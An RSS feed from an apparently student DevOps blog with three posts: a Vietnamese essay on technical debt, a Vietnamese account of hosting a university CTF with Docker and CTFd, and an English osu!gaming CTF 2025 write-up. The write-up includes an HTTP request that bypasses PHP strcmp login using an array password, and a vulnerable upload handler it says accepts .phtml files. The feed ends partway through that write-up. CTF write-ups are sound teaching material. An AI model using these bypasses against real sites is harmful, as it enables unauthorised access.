<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>CallMeQan</title><description>A DevOps Junior</description><link>https://fuwari.vercel.app/</link><language>en</language><item><title>Technical Debt là gì? Cái cho sự vội vã và thời đại AI</title><link>https://fuwari.vercel.app/posts/coding-tip-and-trick-series/what-is-technical-debt/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/coding-tip-and-trick-series/what-is-technical-debt/</guid><description>Nợ tràn ngập đầu vì bạn bị skill issue</description><pubDate>Wed, 01 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Thử tưởng tượng một cuộc sống tuyệt vời, bạn là người chăm chỉ, có gia đình hạnh phúc, làm công ăn lương đều đặn mỗi ngày, không cờ bạc gái gú 🐧 nhưng lòi đâu ra một khoảng nợ khổng lồ mang tên &lt;strong&gt;Technical debt&lt;/strong&gt;. Nhưng mà chúng ta có vay mượn ai đâu mà dính nợ vậy?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://vincentdnl.com/drawings/technical-debt/technical-debt.png&quot; alt=&quot;Picture of technical debt&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Muốn biết món nợ này từ đâu thì xin bạn hãy đọc bài viết rất nhạt ở dưới đây =)))&lt;/p&gt;
&lt;h2&gt;Technical Debt - Con nợ mang tên kỹ thuật&lt;/h2&gt;
&lt;p&gt;Đọc cái tên nghe sơ qua bạn tưởng nó khá là lâu đời rồi đúng không? Thật ra nó chỉ vừa được đặt tên vào những năm cuối thế kỷ 20, ông &lt;a href=&quot;https://en.wikipedia.org/wiki/Ward_Cunningham&quot;&gt;Ward Cunningham&lt;/a&gt; đã đưa ra một câu thoại rằng:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&quot;Shipping first time code is like going into debt. A little debt speeds development so long as it is paid back promptly with a rewrite... The danger occurs when the debt is not repaid. Every minute spent on not-quite-right code counts as interest on that debt. Entire engineering organizations can be brought to a stand-still under the debt load of an unconsolidated implementation, object-oriented or otherwise.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Bạn có thể hiểu nôm na như thế này. Lần đầu bạn commit code lên main là bạn bắt đầu vay nợ của bản thân mình ở tương lai. Technical debt ban đầu rất ít, nhưng theo quá trình code thì càng ngày nó càng nhiều lên, trở thành nợ nần chồng chất. Một số ví dụ:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Thay vì viết class như OOP để có class cha và class con thừa hưởng từ cha thì bạn lại copy-paste code khắp nơi&lt;/li&gt;
&lt;li&gt;Vì comment tùm lum, có nơi không cần viết thì lại viết nhiều vãi, những chỗ khác thì magic number và đặt tên biến theo chữ cái&lt;/li&gt;
&lt;li&gt;Cầm lõi lối đi riêng nhưng đi vào lòng đất (&lt;a href=&quot;https://en.wikipedia.org/wiki/Technical_debt#:~:text=Non%2Dcompliance%20with%20best%20practice&quot;&gt;bad practice code&lt;/a&gt;) 🐧&lt;/li&gt;
&lt;li&gt;Vân vân muôn ngàn lý do&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nhưng technical debt là thứ không thể tránh khỏi, thay vì do bạn tạo ra thì bạn lại nhận nó từ người khác? Đồng nghiệp cũ cay công ty quá nên không viết comment hoặc không bàn giao document lại cho bạn? Điều quan trọng là &lt;strong&gt;mình mượn xong phải trả (hộ)&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Các kiểu technical debt&lt;/h2&gt;
&lt;p&gt;Mặc dù có rất nhiều loại và định nghĩa nợ kỹ thuật khác nhau nhưng cuối cùng chúng có thể được chia thành các loại sau đây:
&lt;img src=&quot;https://d1s1e3s2hsdf77.cloudfront.net/wp-content/uploads/2023/10/cacloai.jpg&quot; alt=&quot;Kiểu &quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Nợ kiến trúc (Architecture Debt)&lt;/strong&gt;, không phải ARC đâu🐧: Đây là kiểu &quot;xây nhà từ móng phế&quot;, hệ thống vừa cứng nhắc vừa thiếu linh hoạt. Để mấy con Monolith (nguyên khối) cũ kỹ với đống thành phần dính chùm vào nhau thì xác định là mỗi lần update là một lần &quot;trầm cảm&quot;, tương lai bảo trì chỉ có nước khóc thét.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Nợ mã nguồn (Code Debt)&lt;/strong&gt;: Hệ quả của việc chạy deadline bất chấp, code &quot;bẩn&quot;, đặt tên biến kiểu abc, xyz hay copy-paste logic vô tội vạ. Mấy bạn thích đi tắt, lười viết doc thì cứ đợi đấy, lúc debug sẽ thấy cảnh &quot;nghiệp quật&quot; – tốn cả thanh xuân chỉ để tìm xem mình đã viết cái gì.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Nợ hạ tầng &amp;amp; DevOps&lt;/strong&gt;: Khi quy trình deploy vẫn còn &quot;thời đồ đá&quot;, CI/CD thì lỏ, khiến việc automation hay scale up trở nên vô vọng. Không có plan tử tế thì lúc tích hợp API hay update dependency chỉ có nước &quot;đứng hình mất 5s&quot;, tiền cloud thì tăng mà hiệu quả thì âm vô cực.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Nợ quy trình (Process Debt)&lt;/strong&gt;: Cái này do teamwork &quot;như người dưng ngược lối&quot;, workflow mập mờ, doc thì trắng trơn. Mấy team sính ngoại bảo Agile với Scrum mà làm không tới nơi tới chốn thì backlog chất cao như núi, feature thì delay, nhìn đống tồn đọng chỉ muốn &quot;chối bỏ sự thật&quot;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Nợ bảo mật (Security Debt)&lt;/strong&gt;: Đây là quả bom nổ chậm nè! Cứ thích &quot;skip&quot; mã hóa, xác thực hay lười vá lỗi thì sớm muộn cũng bị hacker ghé thăm. Thiếu test bảo mật tự động thì team vừa áp lực, vừa nơm nớp lo sợ hệ thống &quot;bay màu&quot; bất cứ lúc nào.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Hậu quả của việc nợ&lt;/h2&gt;
&lt;p&gt;Thực ra cũng giống như quẹt thẻ tín dụng vậy đó, nó tích lãi theo thời gian. Càng &quot;lờ&quot; nó đi, cái giá phải trả để fix sau này càng chát. Tuy việc chấp nhận nợ giúp chúng ta build product nhanh thần tốc, nhưng nếu không biết quản lý rủi ro thì sớm muộn gì chi phí bảo trì cũng tăng vọt, anh em dev thì &quot;burnout&quot; trong khi cơ hội kinh doanh thì bay màu trong nốt nhạc 💸.&lt;/p&gt;
&lt;h3&gt;&quot;Tiền mất tật mang&quot; vì phí vận hành&lt;/h3&gt;
&lt;p&gt;Cái hậu quả thấy rõ nhất chính là ví tiền của doanh nghiệp mỏng đi. Thay vì dùng chất xám để tạo ra feature mới xịn sò, các kỹ sư phải tốn cả thanh xuân chỉ để fix bug và đập đi xây lại. Làm việc trên một đống codebase toàn &quot;nợ là nợ&quot; thì hở tí là bug, khiến một thay đổi nhỏ xíu cũng ngốn cả đống tài nguyên. Cứ đà này, công ty chỉ có nước đổ hết tiền vào bảo trì hoặc chấp nhận &quot;delay&quot; tính năng – cả hai đều là con đường dẫn đến việc đốt tiền cực mạnh.&lt;/p&gt;
&lt;h3&gt;Hạ tầng &quot;lỏ&quot; và những chi phí ẩn&lt;/h3&gt;
&lt;p&gt;Chi phí hạ tầng cũng tỉ lệ thuận với độ cũ kỹ của hệ thống. Kiến trúc lỗi thời, quy trình DevOps &quot;bất ổn&quot; hay mấy cái framework thư viện từ thời Tống sẽ khiến việc duy trì hệ thống trở nên cực kỳ tốn kém. Doanh nghiệp sẽ thấy mình phải chi bộn tiền cho cloud, tài nguyên điện toán hay phí bản quyền chỉ để giữ cho cái hệ thống đầy lỗi và lỗi thời này không bị sập giữa chừng.&lt;/p&gt;
&lt;h3&gt;Mất đi đổi mới và &quot;red flag&quot; uy tín&lt;/h3&gt;
&lt;p&gt;Trong cuộc đua thị trường, nợ kỹ thuật quá cảnh báo sẽ khiến team đổi mới chậm như sên, chẳng thể phản ứng kịp với yêu cầu của khách hàng. Update thì chậm, bug thì tái diễn, performance thì &quot;tụt mood&quot; - đây chính là combo khiến khách hàng bái bai và làm thương hiệu công ty mất đi uy tín. Đặc biệt với các ngành cần độ bảo mật cao, việc để hổng lỗ hổng security chính là tự mời gọi các án phạt pháp lý và rắc rối về quy định ⚠️.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Làm sao trả nợ ???&lt;/strong&gt;&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Dừng việc code (phát triển) đi và tập trung trả nợ&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Đôi lúc ta cũng có thể bỏ qua technical debt, ví dụ như khi làm prototype để demo cho khách hàng. Vì prototype xong rồi vứt luôn nên ta có thể xù nợ 🐧. Tuy nhiên nên cẩn thận, có rất nhiều trường hợp khách hàng đòi mở rộng/nâng cấp prototype thành sản phẩm để tiết kiệm thời gian. Lúc này ta phải trả nợ chết cmn luôn.&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;References&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://viblo.asia/p/technical-debt-no-ki-thuat-no-code-khong-chi-tra-bang-code-nwmGyEQMGoW&quot;&gt;Viblo asia - Nợ kĩ thuật - Nợ code không chỉ trả bằng code &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://toidicodedao.com/2016/08/02/technical-debt/&quot;&gt;Todicodedao.com - Luận về Technical Debt&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.ibm.com/think/topics/technical-debt&quot;&gt;IBM - What is Technical Debt&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Technical_debt&quot;&gt;Wikipedia - Technical Debt&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Lần đầu làm sự kiện CTF cho trường Part 1</title><link>https://fuwari.vercel.app/posts/vgu-ctf-beginner-2025/my-experiences-hosting-an-ctf-event-at-university/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/vgu-ctf-beginner-2025/my-experiences-hosting-an-ctf-event-at-university/</guid><description>hay còn gọi là sống sót qua event nhờ Docker, cà phê và... niềm tin</description><pubDate>Sun, 02 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Thật sự này sẽ là thứ tiếp diễn sau sự kiện mình lên chức chủ tịch &lt;a href=&quot;https://www.facebook.com/vgu.cypher&quot;&gt;CLB VGU Cypher&lt;/a&gt; của nhiệm kỳ 2025-2026, với kế hoạch từ hồi hè thì mình có trọng trách là thực hiện nó và các nguyện vọng ban đầu của các anh founder!&lt;/p&gt;
&lt;p&gt;Đợt CTF kỳ này đầu năm tên là &lt;strong&gt;VGU CTF Beginner 2025: Waldschrein - The Lost Capture The Flag&lt;/strong&gt;. Mình đảm nhận vai trò là server administrator và anh &lt;a href=&quot;https://khavidbap.github.io/&quot;&gt;&lt;strong&gt;Khavid&lt;/strong&gt;&lt;/a&gt; sẽ là người gom thu các challenges cho sự kiện và là bot first blood chạy bằng cơm :troll:&lt;/p&gt;
&lt;p&gt;Tính ra mình cũng vận dụng được tí kiến thức docker của mình để quản lý mấy challenge về web và pwn là chủ yếu.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./anh-phu.png&quot; alt=&quot;Tóm tắt của anh Phú&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Deploy trang web chính bằng CTFd&lt;/h2&gt;
&lt;p&gt;Trước khi lên production thì mình có tìm hiểu qua thử bên trang web &lt;a href=&quot;https://docs.ctfd.io/docs/deployment/installation/&quot;&gt;document CTFd&lt;/a&gt; thì thấy nó không khó lắm, nhưng cho đến khi vào làm thì mệt mỏi vcl!&lt;/p&gt;
&lt;h3&gt;Tìm tên miền&lt;/h3&gt;
&lt;p&gt;Cái này thì mình đi mượn lại các anh tiên bối cũ tên miền vgucypher.id.vn mua trên trang &lt;a href=&quot;https://tenten.vn/&quot;&gt;tenten.vn&lt;/a&gt; nên cũng nhanh, nhờ anh Phú transfer tên miền sang email mình là xong!&lt;/p&gt;
&lt;p&gt;Nhưng mà đến tuần diễn ra sự kiện thì trang tenten nó sập lên sập xuống làm mình không custom được subdomain cho mấy challenges 🤬&lt;/p&gt;
&lt;h3&gt;Tìm kiếm cloud server&lt;/h3&gt;
&lt;p&gt;Việc tìm kiếm server thì mình hướng đến 3 sự lựa chọn:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Xin sponsor từ &lt;strong&gt;Google Cloud&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Mua dịch vụ của &lt;strong&gt;Hetzner&lt;/strong&gt; siêu rẻ của Đức&lt;/li&gt;
&lt;li&gt;Xài trick 100$ Oracle miễn phí của anh Benasin :))&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ở cái option 1 thì mình thấy rằng giải của mình nó phải public kiểu liên trường thì thg google mới sponsor, chứ để trong trường thì ai cho?&lt;/p&gt;
&lt;p&gt;Còn option 3 thì trick đó khá tốn tiền (tận 100$ 💀) nhưng mà vẫn back lại sau đó, nhìn khá là tốn tiền và không liêm chính cho lắm&lt;/p&gt;
&lt;p&gt;Vì thế mình đến với option 2 là mua cloud server của Hetzner với cấu hình là 4 vCPU, 16 GB RAM và 100 GB SSD với băng thông tận 10TB chỉ với 10$ cho 14 ngày. Một phần lý do là mình cũng có phần tài trợ của VSA tận 500k nên không lo lắm, chủ yếu kiếm lời dựa trên phần này?&lt;/p&gt;
&lt;h4&gt;Mua server khá là nhanh?&lt;/h4&gt;
&lt;p&gt;Thật lúc đầu mình tạo acc trên trang Hetzner khá tốn thời gian, bởi vì để tạo và xài server thì bên đức hay &lt;strong&gt;EU khá strict việc thẻ hay tài khoản ngân hàng&lt;/strong&gt; mình phải có liên kết với Visa hay Mastercard, mình thì có VCB Visa everlink nên chả sao, bằng cách nào đó Paypal nó không cho mình kích hoạt cái Paypal bằng sđt 💀&lt;/p&gt;
&lt;p&gt;Sau đó mình vào trang &lt;a href=&quot;https://console.hetzner.com/projects&quot;&gt;console.hetzer.com&lt;/a&gt; để đăng nhập lại và tạo project:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./hetzner-1.png&quot; alt=&quot;Tạo project&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Sau khi tạo project thì chúng ta sẽ có nhiều tab khác nhau như là &lt;strong&gt;Server&lt;/strong&gt; (Tạo và quản lý server), &lt;strong&gt;Volumes&lt;/strong&gt; (Mua thêm dung lượng ảo), &lt;strong&gt;Floating IPs&lt;/strong&gt; (này mình ko biết :L), &lt;strong&gt;Firewall&lt;/strong&gt; (setup firewall nhưng trong ctf thì không cần lắm), &lt;strong&gt;Load Balancing&lt;/strong&gt; (mình cũng không dùng luôn), &lt;strong&gt;DNS&lt;/strong&gt; (dns stuff), ...&lt;/p&gt;
&lt;p&gt;Trong phần Server thì mình tạo server nó với cấu hình là &lt;strong&gt;4 vCPU, 16 GB RAM&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./hetzner-2.png&quot; alt=&quot;Mua server&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nhưng vấn đề là làm sao để biết mình cần server to cỡ bao nhiều ư?&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tình huống (50–60 players)&lt;/th&gt;
&lt;th&gt;Số web&lt;/th&gt;
&lt;th&gt;Pwn connectable&lt;/th&gt;
&lt;th&gt;Crypto connectable&lt;/th&gt;
&lt;th&gt;Recommend (single server)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Nhẹ — no bots, chỉ web static + pwn cơ bản&lt;/td&gt;
&lt;td&gt;4–6&lt;/td&gt;
&lt;td&gt;4–6&lt;/td&gt;
&lt;td&gt;0–2&lt;/td&gt;
&lt;td&gt;2 vCPU, 8 GB RAM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Thường — nhiều web dynamic, 1 bot/flag cho vài challenge&lt;/td&gt;
&lt;td&gt;4–6&lt;/td&gt;
&lt;td&gt;4–6&lt;/td&gt;
&lt;td&gt;0–2&lt;/td&gt;
&lt;td&gt;4 vCPU, 8–16 GB RAM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nặng — nhiều bot 24/7, nhiều pwn có fork/spawn processes&lt;/td&gt;
&lt;td&gt;6+&lt;/td&gt;
&lt;td&gt;6+&lt;/td&gt;
&lt;td&gt;2+&lt;/td&gt;
&lt;td&gt;4+ vCPU, 16+ GB RAM (hoặc tách thành 2 server)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Kỳ CTF này mình chỉ có 5 bài pwn cơ bản, 4 bài web với 2 bài crypto thôi mà mình thuê tận 16GB RAM thấy phí vcl!&lt;/p&gt;
&lt;p&gt;Hetzner có nhiều loại plan; hourly/monthly và giá thay đổi theo dòng máy (CX/CCX/CCX23...). Một số gói shared vCPU 4 vCPU / 16 GB có giá hourly ~0.04 €/hr (mốc tham khảo, sẽ thay đổi theo region và thời điểm). Đợt này mình mua lúc nó còn $0.004 / hr nên tổng phí cho CTF này của mình chỉ có &lt;strong&gt;$9.88 cho 14 ngày&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;:::tip
Mấy kỳ CTF beginner thì mua 2-4 vCPU với 8GB RAM là quá đủ r
:::&lt;/p&gt;
&lt;h4&gt;Giải thích số liệu (vì sao thế)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CPU:&lt;/strong&gt; pwn connectable + scoring + CTFd + nginx reverse proxy đều cần CPU; 2 vCPU đủ cho load nhẹ, nhưng khi players kết nối đồng loạt và nhiều container hoạt động thì 4 vCPU mang lại headroom.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RAM:&lt;/strong&gt; phần lớn web challenge nhẹ (10–30 MB/container). Bot “admin” để act on player input thường tốn ~100 MB mỗi instance — nếu bạn có nhiều challenge động active cùng lúc thì RAM tăng nhanh. 8 GB ram đủ cho cấu hình cân bằng; 16 GB nếu bạn muốn tránh swap khi nhiều bot hoạt động đồng thời.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tách dịch vụ:&lt;/strong&gt; nếu thấy server “toang” lúc peak, tách scoring/CTFd + database lên một instance riêng (nhẹ, 2 vCPU/4GB) và để challenge containers trên instance khác để phân tán I/O/CPU.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Connect đến server&lt;/h4&gt;
&lt;p&gt;Mình mua xong thì bên Hetzner sẽ gửi cho mình password của root, cứ thế mình cứ connect thông qua SSH thôi, ở đây mình dùng &lt;a href=&quot;https://termius.com/&quot;&gt;Termius&lt;/a&gt; cho nó dễ vì nó tích hợp luôn chức năng upload / download file từ server về&lt;/p&gt;
&lt;h4&gt;Tải Docker và host CTFd&lt;/h4&gt;
&lt;p&gt;Ta cứ theo docs của Docker Official mà chơi thôi. Mạng mẽo lúc buổi tối tệ quá nên mình tốn tận 1 tiếng để tải docker lên server&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./hetzner-3.png&quot; alt=&quot;cost 1 hour to install&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Sau đó mình cứ làm theo hướng dẫn của CTFd mà deploy lên được thôi&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./hetzner-4.png&quot; alt=&quot;page is up&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;DNS và Cert&lt;/h3&gt;
&lt;p&gt;Phần này mình thật sự không biết miêu tả sao nhưng mình dùng &lt;a href=&quot;https://certbot.eff.org/instructions?ws=nginx&amp;amp;os=pip&quot;&gt;CertBot phiên bản pip&lt;/a&gt; để generate thôi, chứ không có gì nhiều.&lt;/p&gt;
&lt;p&gt;Nhờ có certbot mà website mình có SSL certificate để hô biến &lt;code&gt;http://&lt;/code&gt; thành &lt;code&gt;https://&lt;/code&gt; cho nó uy tín!&lt;/p&gt;
&lt;p&gt;Ngoài ra CTF của mình có challenge tên là &lt;code&gt;Witch&apos;s Broadcast&lt;/code&gt; của RSA stuff, lúc này mình về lại trang tenten.vn để thêm A Record mới là &lt;code&gt;witch.vgucypher.id.vn&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./hetzner-5.png&quot; alt=&quot;tenten dns dashboard&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Trong diễn ra event thì trang tenten thì nó gặp sự cố khiến việc thay đổi DNS không được, vì lý do đó nên toàn bộ chall của wave 2 &amp;amp; 3 của mình nó không có custom name được như &lt;code&gt;math.vgucypher.id.vn&lt;/code&gt; hay &lt;code&gt;hsr.vgucypher.id.vn&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Deploy các challenges?&lt;/h2&gt;
&lt;p&gt;Phần này cũng khá dễ thôi vì mình dùng Docker và thêm tí compose, chỉ có mấy chall như web, pwn là mình cần config. Đưa ra ví dụ bài &lt;code&gt;Hackershop&lt;/code&gt;, nó rất là hiển nhiên vì mình không cần đưa source ra mà player chỉnh giá tiền xuống âm là có được flag, deploy server của mình sẽ là:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FROM python:3.9-slim

WORKDIR /app
COPY requirements.txt .

RUN pip install --no-cache-dir -r requirements.txt

COPY . .

ENV FLASK_APP=app.py
EXPOSE 5000

CMD [&quot;flask&quot;, &quot;run&quot;, &quot;--host=0.0.0.0&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nhưng mà để tiện hơn thì mình tạo thêm file &lt;code&gt;docker-compose.yml&lt;/code&gt; vì khi bạn chạy lệnh &lt;code&gt;docker compose up -d&lt;/code&gt; là nó vừa tự động build + chạy image luôn. Thêm flag &lt;code&gt;-d&lt;/code&gt; là detacted tách ra chạy background tốn chỉ 10-30mb ram thôi.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;3.8&apos;
services:
  flask-app:
    build: .
    ports:
      - &quot;3001:5000&quot;
    environment:
      FLASK_ENV: development
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Khi mà bạn làm mấy chall deployable đó thì nhớ làm một cái sheet để lưu coi chall nào đã được blind vào port nào để mình còn biết là port này của chall đó.&lt;/p&gt;
&lt;p&gt;Mình có deploy một cái chall pwn là &lt;code&gt;math&lt;/code&gt; nhưng nó cho output bị weird nên khi bên Hetzner quét thì nó cảnh báo mình port này bị lỗi nên cẩn thận, mình cũng chả quan tâm nên cho qua thôi :))&lt;/p&gt;
</content:encoded></item><item><title>osu!gaming CTF 2025 Writeups</title><link>https://fuwari.vercel.app/posts/osugamingctf2025-writeups/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/osugamingctf2025-writeups/</guid><pubDate>Mon, 27 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;So recently I participate in osu!gaming CTF 2025 with my IT Security Club on university, me as president have to force everyone get on this special CTF (yes, we train whole year just for this CTF). But one of our strongest member &lt;code&gt;Khavid&lt;/code&gt; move on with &lt;code&gt;#MogamiShizuka&lt;/code&gt; team!&lt;/p&gt;
&lt;p&gt;So, this CTF is big and crazy stuff happened, even I&apos;m a 6 years osu! player still didn&apos;t know some of trivial stuff of osu!&lt;/p&gt;
&lt;h2&gt;Crypto&lt;/h2&gt;
&lt;h3&gt;Rot727&lt;/h3&gt;
&lt;p&gt;It just another custom Rot13 encryption system, so I pull out my old code from CTF 2024 (I forgot its name)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def rot_cipher_concise(txt, shift):
    &quot;&quot;&quot;Encrypts/decrypts text using a ROT cipher with any shift.&quot;&quot;&quot;
    res = []
    effective_shift = shift % 26
    for char in txt:
        if &apos;A&apos; &amp;lt;= char &amp;lt;= &apos;Z&apos;:
            new_ord = (ord(char) - ord(&apos;A&apos;) + effective_shift) % 26 + ord(&apos;A&apos;)
            res.append(chr(new_ord))
        elif &apos;a&apos; &amp;lt;= char &amp;lt;= &apos;z&apos;:
            new_ord = (ord(char) - ord(&apos;a&apos;) + effective_shift) % 26 + ord(&apos;a&apos;)
            res.append(chr(new_ord))
        else:
            res.append(char)

    return &quot;&quot;.join(res)

i = 1
while True:
    tmp = rot_cipher_concise(&quot;aeg{at_imuf_nussqd_zgynqd_paqezf_yqmz_yadq_eqogdq}&quot;, shift=i)
    print(tmp)
    if &quot;osu&quot; in tmp:
        break
    i = i + 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Got &lt;code&gt;osu{oh_wait_bigger_number_doesnt_mean_more_secure}&lt;/code&gt; at 13&lt;/p&gt;
&lt;h3&gt;linear-feedback&lt;/h3&gt;
&lt;p&gt;This actually just ChatGPT stuff&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./gemini-pro-cant-beat-chatgpt-free.png&quot; alt=&quot;discord chat&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;pls-nominate&lt;/h3&gt;
&lt;p&gt;Very basic implementation of Hastad&apos;s Broadcast Attack&lt;/p&gt;
&lt;p&gt;&lt;code&gt;osu{pr3tty_pl3453_w1th_4_ch3rry_0n_t0p!?}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Web&lt;/h2&gt;
&lt;h3&gt;admin-panel&lt;/h3&gt;
&lt;p&gt;First look at this challenges, I thought it is Path Traversal stuff because the &lt;code&gt;/flag.txt&lt;/code&gt; is outside from &lt;code&gt;/var/www/html&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;But when I tried on login, I noticed that the password for user &lt;code&gt;peppy&lt;/code&gt; is random so no way you can guess it!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
    session_start();
    $admin_password = bin2hex(random_bytes(16));

    if ($_SERVER[&quot;REQUEST_METHOD&quot;] == &quot;POST&quot;) {
        $username = $_POST[&quot;username&quot;];
        $password = $_POST[&quot;password&quot;];

        if ($username == &quot;peppy&quot; &amp;amp;&amp;amp; strcmp($admin_password, $password) == 0) {
            $_SESSION[&quot;logged_in&quot;] = true;
            header(&quot;Location: admin.php&quot;);
            exit();
        }
    }

    header(&quot;Location: index.php&quot;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But WAIT,&lt;/p&gt;
&lt;p&gt;There&apos;s a vulnerability at &lt;code&gt;strcmp($admin_password, $password) == 0&lt;/code&gt;. Based on &lt;a href=&quot;https://www.php.net/manual/en/function.strcmp.php&quot;&gt;the manual page PHP&apos;s strcmp&lt;/a&gt;. This is case sensitive and binary safe string compare function, but the way it acted is extremely unpredictable (based on comment at bottom of page)!&lt;/p&gt;
&lt;p&gt;Which I can set the password to array based on &lt;a href=&quot;https://rst.hashnode.dev/bypassing-php-strcmp&quot;&gt;this blog talking about vulnerability of strcmp&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /login.php HTTP/2
Host: admin-panel-72179d733c64.instancer.sekai.team
Content-Length: 27
Cache-Control: max-age=0
Origin: https://admin-panel-72179d733c64.instancer.sekai.team
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://admin-panel-72179d733c64.instancer.sekai.team/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

username=peppy&amp;amp;password[]=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Break the first wall!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Move on to next file &lt;code&gt;admin.php&lt;/code&gt;, we see that we can send a file to server but cannot have &lt;code&gt;php&lt;/code&gt; in filename or file content. This is extremely bad practice because user can send file &lt;code&gt;.phtml&lt;/code&gt; to the server!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
  session_start();
  if (!isset($_SESSION[&quot;logged_in&quot;])) {
    header(&quot;Location: index.php&quot;);
    exit();
  }

  if ($_SERVER[&quot;REQUEST_METHOD&quot;] == &quot;POST&quot;) {
    if (isset($_FILES[&quot;file&quot;])) {
      $file = $_FILES[&quot;file&quot;];
      $filename = $file[&quot;name&quot;];
      $contents = file_get_contents($file[&quot;tmp_name&quot;]);

      if (stripos($filename, &quot;.php&quot;) !== false) {
        echo &quot;&amp;lt;h1&amp;gt;file is not allowed&amp;lt;/h1&amp;gt;&quot;;
      }
      else if (stripos($contents, &quot;&amp;lt;?php&quot;) !== false) {
        echo &quot;&amp;lt;h1&amp;gt;file has unsafe contents&amp;lt;/h1&amp;gt;&quot;;
      }
      else {
        move_uploaded_file($file[&quot;tmp_name&quot;], &quot;./uploads/&quot; . $filename);
        header(&quot;Location: /uploads/&quot; . $filename);
      }
      die();
    }
  }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
